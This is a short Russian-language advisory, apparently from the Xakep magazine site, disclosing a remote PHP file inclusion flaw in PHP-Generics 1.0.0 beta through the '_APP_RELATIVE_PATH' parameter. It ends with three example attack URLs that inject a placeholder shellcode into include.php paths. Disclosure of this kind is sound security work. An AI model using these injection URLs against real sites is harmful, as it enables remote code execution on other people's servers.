PHP-инклюдинг в PHP-Generics

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: PHP-Generics 1.0.0 beta

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.
Уязвимость существует из-за недостаточной обработки входных данных в параметре «_APP_RELATIVE_PATH» сценарием include.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера. 

Пример:

http://[target]/[directory]/include.php?_APP_RELATIVE_PATH=[ShellCode]
http://[target]/[directory]/dbcommon/include.php?_APP_RELATIVE_PATH=[ShellCode]
http://[target]/[directory]/exception/include.php?_APP_RELATIVE_PATH=[ShellCode]